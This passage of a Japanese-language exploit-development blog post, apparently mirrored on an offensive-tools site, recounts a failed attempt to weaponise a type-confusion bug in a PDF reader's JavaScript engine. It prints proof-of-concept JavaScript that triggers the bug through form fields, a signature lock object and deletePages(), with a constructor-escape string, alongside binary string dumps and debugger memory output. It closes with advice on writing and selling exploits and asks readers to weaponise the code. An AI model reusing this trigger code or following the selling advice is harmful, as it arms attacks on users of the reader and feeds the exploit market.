  "signature_field",
  "signature",
  0,
  [10, 10, 100, 50]
);

gFields.combo = app.activeDocs[0].addField(
  "HAHAHAHAHAH",
  "combobox",
  0,
  [10, 60, 100, 100]
);

// Step 4: Get the critical Lock object
gLockObj = gFields.signature.getLock();
app.alert("Got Lock object from signature field");

app.alert("Triggering vulnerability with deletePages()");
app.activeDocs[0].deletePages();
app.alert("Vulnerability triggered");

gLockObj.__defineGetter__('fields', function () {}); 

}

でも、とにかく、なぜ私たちの作業過程の一部を載せたかったかというと、これまでにも示してきたように、エクスプロイト開発は正確な科学ではないということを示すためです。新人研究者やこれから研究者を目指す若い人たちにとって非常に重要な教訓は、忍耐と推進力(モチベーションとも呼ばれます)を身につける必要があるということです。そうしないと、ごく小さな一条の光を見ることができません。そして、その光は多くの場合、トンネルの終わりではなく、ただの挫折に過ぎません。しかし、恐れることはありません。これはプロセスの一部です。つまり、学ぶべき教訓は、エクスプロイト開発では多くの時間、いや本当に多くの時間を無駄にするということです。繰り返しますが、恐れることなかれ。これはエクスプロイト開発プロセスの一部です。さて、この記事と物語も終わりに近づいてきました。旅の中で得た、さらにいくつかの教訓を紹介しましょう。つまり、オブジェクトが書き込み不可で読み取り専用だとわかったとき、利用可能なAPIのドキュメントが提供するすべてを試し、それでもなお利用可能と思われるJS APIをダンプするために余分な努力をした場合、例えば次のようなものがあります: AddcDocID .rdata:050B1EC8 00000007 C AddStr .rdata:050E8E70 00000016 C Sign_Fill_Set_PreText .rdata:050E8E88 00000012 C Sign_Fill_AddText .rdata:050E8E9C 00000017 C Sign_Fill_AddText_Comb .rdata:050E8EE0 0000000F C Sign_Fill_AddX .rdata:050E8EF0 00000011 C Sign_Fill_AddDot .rdata:050E8F04 00000011 C Sign_Fill_Group2 .rdata:050E8F18 00000012 C Sign_Fill_AddLine .rdata:050EB4FC 0000001B C ACTIONANNOT::AddTypeWriter https://helpx.adobe.com/acrobat/kb/adding-watermark-pdf.html .rdata:05114CEC 0000000B C Sound Tool .rdata:05114ED8 0000003D C This function is deprecated. It proceed in signature plugin. .rdata:05114FA8 0000001A C File_Propertions_Security .rdata:05114FC4 0000001D C File_Propertions_Description .rdata:05115000 0000001D C File_Propertions_InitialView .rdata:0511502C 00000016 C File_Propertions_Font .rdata:05115058 0000001A C File_Propertions_Advanced .rdata:051150E0 00000057 C This function is deprecated. Suggest use FROptimizerFlatDocument from Optimize plugin. .rdata:05115138 00000059 C This function is deprecated. Suggest use FRDocProcessSetReviewJS from docprocess plugin. .rdata:05115198 0000005C C This function is deprecated. Suggest use FRDocProcessRemoveReviewJS from docprocess plugin. .rdata:05115348 00000056 C This function is deprecated. Suggest use FROptimizerRunPageFlat from Optimize plugin. .rdata:051153A0 00000062 C This function is deprecated. Suggest use FRDocProcessFlattenDynamicXFADoc from docprocess plugin. .rdata:05115408 00000053 C This function is deprecated. It proceed in OCR plugin of FROCRRunPageOCRPROTO api. .rdata:05115460 0000005D C This function is deprecated. It proceed in OCR plugin of GetOCREngineLocalLanguagePROTO api. .rdata:051154C0 0000005D C This function is deprecated. It proceed in OCR plugin of GetIsExistOCREngineDllTipPROTO api. .rdata:05115520 0000005F C This function is deprecated. It proceed in OCR plugin of GetOCREngineSupportLanguagePROTO api. .rdata:05115610 0000005D C This function is deprecated. Suggest use FRDocProcessGetCreationDate from docprocess plugin. .rdata:05115670 00000066 C This function is deprecated. Suggest use FRDocProcessGetContainedCountInPages from docprocess plugin. .rdata:051156D8 00000060 C This function is deprecated. Suggest use FRDocProcessGetPrefixMatchList from docprocess plugin. .rdata:05115738 00000074 C This function is deprecated. Suggest use FROptimizerReduceFileSize and FROptimizerSetCallBack from Optimize plugin. .rdata:051157B0 0000005C C This function is deprecated. Suggest use FROptimizerShowReduceSizeDlg from Optimize plugin. .rdata:05115BC4 00000019 C CFS_GLOG_V16::LogMessage .rdata:05115BE0 00000070 C c:\phantompdfci\jenkins\workspace\taa-ph-auto-compile\starship\sinkpluginsdk_web\win\src\basic\fs_basicimpl.cpp .rdata:05116020 0000006C C This function is deprecated. Suggest use FRSIGInternalInterfaceGenerateUR3Permission from signature plugin. .rdata:05116090 0000005A C This function is deprecated. Suggest use FRPageFormatAddWatermark from pageformat plugin. .rdata:05116124 00000019 C PageFormat Extension HFT .rdata:05116140 00000063 C This function is deprecated. Suggest use FRPageFormatAddAndUpdateWatermark from pageformat plugin. .rdata:051161A8 0000005D C This function is deprecated. Suggest use FRPageFormatRemoveWatermark from pageformat plugin. .rdata:05116208 00000066 C This function is deprecated. Suggest use FRPageFormatRemoveAndUpdateWatermark from pageformat plugin. .rdata:05116270 0000005D C This function is deprecated. Suggest use FRPageFormatAddHeaderFooter from pageformat plugin. .rdata:051162D0 00000066 C This function is deprecated. Suggest use FRPageFormatAddAndUpdateHeaderFooter from pageformat plugin. .rdata:05116338 00000060 C This function is deprecated. Suggest use FRPageFormatRemoveHeaderFooter from pageformat plugin. .rdata:05116398 00000069 C This function is deprecated. Suggest use FRPageFormatRemoveAndUpdateHeaderFooter from pageformat plugin. .rdata:05116408 0000005F C This function is deprecated. Suggest use FRDocProcessIsUsedLogicalPage from docprocess plugin. .rdata:05116468 00000063 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGenerateSignInfo from signature plugin. .rdata:051164D0 00000064 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGenerateSignInfo3 from signature plugin. .rdata:05116538 00000063 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGetDefaultServer from signature plugin. .rdata:051165A0 0000006B C This function is deprecated. Suggest use FRSIGInternalInterfaceAddSignature3Handler from signature plugin. .rdata:05116610 00000045 C This function is deprecated. It's not be need from signature plugin. .rdata:05116658 00000065 C This function is deprecated. Suggest use FRSIGSGBaseHandlerSetSignatureVerify from signature plugin. .rdata:051166C0 00000066 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGetDocSigatureCount from signature plugin. .rdata:05116728 00000067 C This function is deprecated. Suggest use FRSIGSGBaseHandlerGetSignatureBaseInfo from signature plugin. .rdata:05116790 00000061 C This function is deprecated. Suggest use FRSIGSGBaseHandlerClearSignature from signature plugin. .rdata:051167F8 00000063 C This function is deprecated. Suggest use FRSIGSGBaseHandlerCreateSignatureF from signature plugin. .rdata:05116860 0000005E C This function is deprecated. Suggest use FRSIGSGBaseHandlerSetPosition from signature plugin. .rdata:051168C0 0000004F C This function is deprecated. Suggest use FRSIGRDNCreate from signature plugin. .rdata:05116910 00000050 C This function is deprecated. Suggest use FRSIGRDNDestroy from signature plugin. .rdata:05116960 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwC from signature plugin. .rdata:051169B0 00000050 C This function is deprecated. Suggest use FRSIGRDNSetcwCN from signature plugin. .rdata:05116A00 00000050 C This function is deprecated. Suggest use FRSIGRDNGetcwCN from signature plugin. .rdata:05116A50 0000004F C This function is deprecated. Suggest use FRSIGRDNSetcwE from signature plugin. .rdata:05116AA0 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwE from signature plugin. .rdata:05116AF0 0000004F C This function is deprecated. Suggest use FRSIGRDNSetcwL from signature plugin. .rdata:05116B40 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwL from signature plugin. .rdata:05116B90 0000004F C This function is deprecated. Suggest use FRSIGRDNSetcwO from signature plugin. .rdata:05116BE0 0000004F C This function is deprecated. Suggest use FRSIGRDNGetcwO from signature plugin. .rdata:05116C30 00000050 C This function is deprecated. Suggest use FRSIGRDNSetcwOU from signature plugin. .rdata:05116C80 00000050 C This function is deprecated. Suggest use FRSIGRDNGetcwOU from signature plugin. .rdata:05116CD0 00000050 C This function is deprecated. Suggest use FRSIGRDNSetcwST from signature plugin. .rdata:05116D20 00000050 C This function is deprecated. Suggest use FRSIGRDNGetcwST from signature plugin. .rdata:05116D70 00000067 C This function is deprecated. Suggest use FRSIGCERTIFICATEINFO related interface from signature plugin. .rdata:05116DD8 00000065 C This function is deprecated. Suggest use FRSIGSEEDVALUEINFO related interface from signature plugin. .rdata:05116E4C 0000003E C This function is deprecated. It proceed in signature plugin. .rdata:0511F140 00000007 C AddImm .rdata:0511F480 0000000A C RowSetAdd .rdata:052A94B8 0000000D C pixAddBorder .rdata:052A94C8 00000019 C pixAddBlackOrWhiteBorder .rdata:052A94E4 00000014 C pixAddBorderGeneral .rdata:052A9510 00000020 C pixAddMultipleBlackWhiteBorders

.rdata:052A95DC 00000015 C pixAddMirroredBorder .rdata:052A9608 00000015 C pixAddRepeatedBorder .rdata:052A9620 00000012 C pixAddMixedBorder .rdata:052A9634 00000016 C pixAddContinuedBorder .rdata:052A964C 00000019 C pixShiftAndTransferAlpha .rdata:052B3028 00000013 C pixAddAlphaToBlend !!!!!!!! .rdata:052B32EC 0000000B C boxaAddBox !!!!!!!!!!!!!!! .rdata:052B35B8 0000000D C boxaaAddBoxa .rdata:052B35E8 00000011 C boxaaExtendArray .rdata:052B35FC 00000017 C boxaaExtendArrayToSize .rdata:052B3614 00000016 C baa has too many ptrs .rdata:052B362C 0000001F C size > 1M boxa ptrs; too large .rdata:052B364C 0000000E C boxaaGetCount .rdata:052B365C 00000011 C boxaaGetBoxCount .rdata:052B3670 0000000D C boxaaGetBoxa .rdata:052B3680 0000000C C boxaaGetBox .rdata:052B368C 00000013 C boxa not retrieved .rdata:052B36F8 00000010 C boxaaInsertBoxa .rdata:052B5E88 00000012 C pixGetInputFormat .rdata:052B5E9C 00000012 C pixSetInputFormat .rdata:052B5EB0 00000013 C pixCopyInputFormat .rdata:052B5EC4 0000000E C pixSetSpecial .rdata:052B5ED4 0000000B C pixGetText .rdata:052B5EE0 0000000B C pixSetText .rdata:052B5EEC 0000000B C pixAddText .rdata:052B667C 0000000C C pixaaAddBox .rdata:052B9268 00000014 C jbAddPageComponents .rdata:052B9D90 0000000D C numaaAddNuma .rdata:052C9BC8 00000010 C sarrayAddString .rdata:052CACB4 00000009 C ptaAddPt .rdata:052CAFB8 0000000B C ptaaAddPta .rdata:0530A890 00000010 C selaAddDwaCombs .rdata:053CADD8 0000000C C squareimage .rdata:053E05C8 00000019 C GdipPrivateAddMemoryFont .rdata:053E078C 00000017 C GdipPrivateAddFontFile .rdata:053E0808 00000015 C AddFontMemResourceEx .rdata:0548401C 00000009 C TPadding .rdata:056D0DA8 0000000D C addListeners .rdata:056D0ED8 0000000C C addMenuItem .rdata:056D0EE4 0000000B C addSubMenu .rdata:056D0F48 00000009 C addIndex .rdata:056D0F60 0000000B C addContact .rdata:056D0F6C 0000000B C addRequest .rdata:056D11B0 00000010 C addEmbeddedFile .rdata:056D12DC 00000008 C addWord .rdata:056D1528 00000009 C addAnnot .rdata:056D1534 00000009 C addField .rdata:056D1540 00000008 C addLink .rdata:056D1548 00000008 C addIcon .rdata:056D1E94 0000000D C Doc.addAnnot .rdata:056D1EA4 0000000D C Doc.addField .rdata:056D1EB4 0000000C C Doc.addLink .rdata:056D1EC0 0000000C C Doc.addIcon .rdata:056D24A8 0000000F C Doc.addAdLayer .rdata:056D5F58 0000000E C addToolButton .rdata:056D6644 00000010 C app.addMenuItem .rdata:056D6668 0000000F C app.addSubMenu .rdata:056D6644 00000010 C app.addMenuItem .rdata:056D7E44 0000000F C FDF.addContact .rdata:05709CF0 0000000F C OBJ_add_object .rdata:05709D00 0000000E C OBJ_add_sigid .rdata:05902BBC 00000012 C addCustomMenuItem .rdata:05902BD0 00000014 C addCustomToolButton .rdata:05902BE4 00000010 C addEventHandler .rdata:059E64A0 0000001E C FillPageComboBox-AddTail -End .rdata:059E64C0 00000010 C View_Panel_Goto .rdata:059E64D0 00000020 C FillPageComboBox-AddTail -Start .rdata:05FE0420 00000077 C ?FPDFSCRIPT3D_OBJ_Runtime__Method_AddCustomMenuItem@@YAXPAU_FXJSE_HOBJECT@@ABVCFX_ByteStringC@@AAVCFXJSE_Arguments@@@Z .rdata:05FE0497 00000079 C ?FPDFSCRIPT3D_OBJ_Runtime__Method_AddCustomToolButton@@YAXPAU_FXJSE_HOBJECT@@ABVCFX_ByteStringC@@AAVCFXJSE_Arguments@@@Z .rdata:05FE0510 00000075 C ?FPDFSCRIPT3D_OBJ_Runtime__Method_AddEventHandler@@YAXPAU_FXJSE_HOBJECT@@ABVCFX_ByteStringC@@AAVCFXJSE_Arguments@@@Z .rdata:050896AC 00000011 C CAddDictionaries .rdata:05097DD0 00000034 C CJS_PluginMgr::LoadJSPlugin::AddToolButtons - Start .rdata:05097E04 00000032 C CJS_PluginMgr::LoadJSPlugin::AddToolButtons - End .rdata:05098308 0000001E C CJS_PluginMgr::AddToolButtons

、実際にVRプロセスの一部を開始して、バイナリが実際に何をしているのかを理解しようとし始めるべきとき、あなたのIDBの擬似コードは次のようになります: 収まりをよくして長くしないために、コードの大部分は省略しています WhatsApp Image 2025-04-18 at 17 20 10

そして、これを見てクラスの初期化だと言う人もいるかもしれません。それは間違いです。IDAを信じてはいけません。オフセットがずれていたからです。たとえ私が間違っていたとしても、信じてください。関数名をクロスリファレンスしなければならず、200のクロスリファレンスを経て、さらに200の関数を分析して理解する必要があり、その上でwindbg内のすべてのptr関数呼び出しを動的に解決してリバースする必要があります。

さらに、例えば次のようなことを試す場合: 09f69e70 74 72 75 63 74 6f 72 28-27 72 65 74 75 72 6e 20 tructor('return 09f69e80 74 68 69 73 27 29 28 29-00 00 00 00 00 00 00 00 this')()........ 09f69e90 06 00 01 09 30 1e 6d 0f-00 00 00 00 00 00 00 00 ....0.m......... 09f69ea0 00 00 00 00 e0 bd 6d 0f-10 00 00 00 02 00 00 00 ......m......... 09f69eb0 84 15 f6 09 60 15 f6 09-0a 00 00 00 00 00 00 00 ....`........... 09f69ec0 01 00 00 00 10 00 00 00-10 00 00 00 54 00 69 00 ............T.i. 09f69ed0 6d 00 65 00 73 00 20 00-42 00 6f 00 6c 00 64 00 m.e.s. .B.o.l.d. 09f69ee0 49 00 74 00 61 00 6c 00-69 00 63 00 00 00 00 00 I.t.a.l.i.c..... function type_conf(){ app.alert("Starting enhanced memory leak exploit");

root@kitploit:~
// Step 2: Create form fields
gFields.signature = app.activeDocs[0].addField(
  "signature_field",
  "signature",
  0,
  [10, 10, 100, 50]
);

let syntaxString = "a.constructor.constructor('return this')()";


gFields.combo = app.activeDocs[0].addField(
  syntaxString,
  "combobox",
  0,
  [10, 60, 100, 100]
);

// Step 4: Get the critical Lock object
gLockObj = gFields.signature.getLock();
app.alert("Got Lock object from signature field");

app.alert("Triggering vulnerability with deletePages()");
app.activeDocs[0].deletePages();
app.alert("Vulnerability triggered");

gLockObj.__defineGetter__('fields', function () {}); 

}

そして、それは動作します。しかし、このようなものを持つことはできません。 let x = "\x41\x41\x41\x41" をaddFieldのオブジェクト名として使うことはできません。さらに、bindiffでIDBをロードするのに3時間30分待ってもIDBがロードされず、16GBのメモリを消費し尽くします。これらは、そのバイナリをほぼ間違いなく悪用できないことを示す兆候です。

つまり、学んだ教訓は、上記の段落で説明したことのほとんどに当てはまる場合、精神衛生のためにも、これが悪用可能かどうかを確認するためにさらに3週間を無駄にするよりも、次のエクスプロイトに進む方が良いということです。

さて、物語の終わりに達したので、このエクスプロイトを作成し販売する試みで学んだ最後の教訓をいくつか紹介します:

  1. エクスプロイトを売ろうとすることを恐れない。
  2. エクスプロイトを売ろうとする前に、実際にエクスプロイトを作成し、それから売ろうとしている相手に連絡を取る。
  3. 武器化するCVEに決める前に、本格的に着手する前に予備調査を始めるためにおよそ1か月を取る。
  4. アドバイザリが、これは武器化されたエクスプロイトに変わる可能性があると示唆していても、エクスプロイトプロセス自体とは必ずしも関係のない多くの障害があることを念頭に置いてください:リバースエンジニアリングに十分な情報がない、複雑すぎる(1つの関数を理解するのに200以上の関数が必要)、手動で行わなければならない大量のランタイムデコード、文書化されていないAPI関数、限られた読み書き(r/w)能力、オープンソースコードがない、このケースでは1つのバージョンに対して20万の関数をdiffする必要があり、完全にbindiffするには約40万の関数が必要です(現実世界のエクスプロイトでは複雑さはどうやら本当に急速にスケールする)。
  5. 「棺に最後の釘を打つ時を知ること」。これは、より多くのプロジェクトを試みるにつれて経験とともに身につくでしょう。しかし、必要がないのにそれを引き延ばすのは本当にやめましょう。
  6. 間違いなく多くの時間を無駄にするでしょう。だから、自分自身にあまり厳しくしないでください。
  7. オブジェクトを置き換えるためのオブジェクトを配置できず、文字列しか配置できず、それらがUnicodeとしてエンコードされる場合。それでもこれをバイパスできたとしても、このケースでは偽のオブジェクトに十分な情報がなかったため、sharedarraybufferでアドレスをスプレーして何とか読み取ろうとするために16進数のようなデータを配置できないなら、ただ次のエクスプロイトに進んでください。 最後に、このブログ記事を締めくくる前に、私たちのコードをインスピレーションとして残しておきます。もし誰かがこの型混乱(type confusion)を武器化できたなら、ぜひどうやったのか教えてください :)
ツールをダウンロード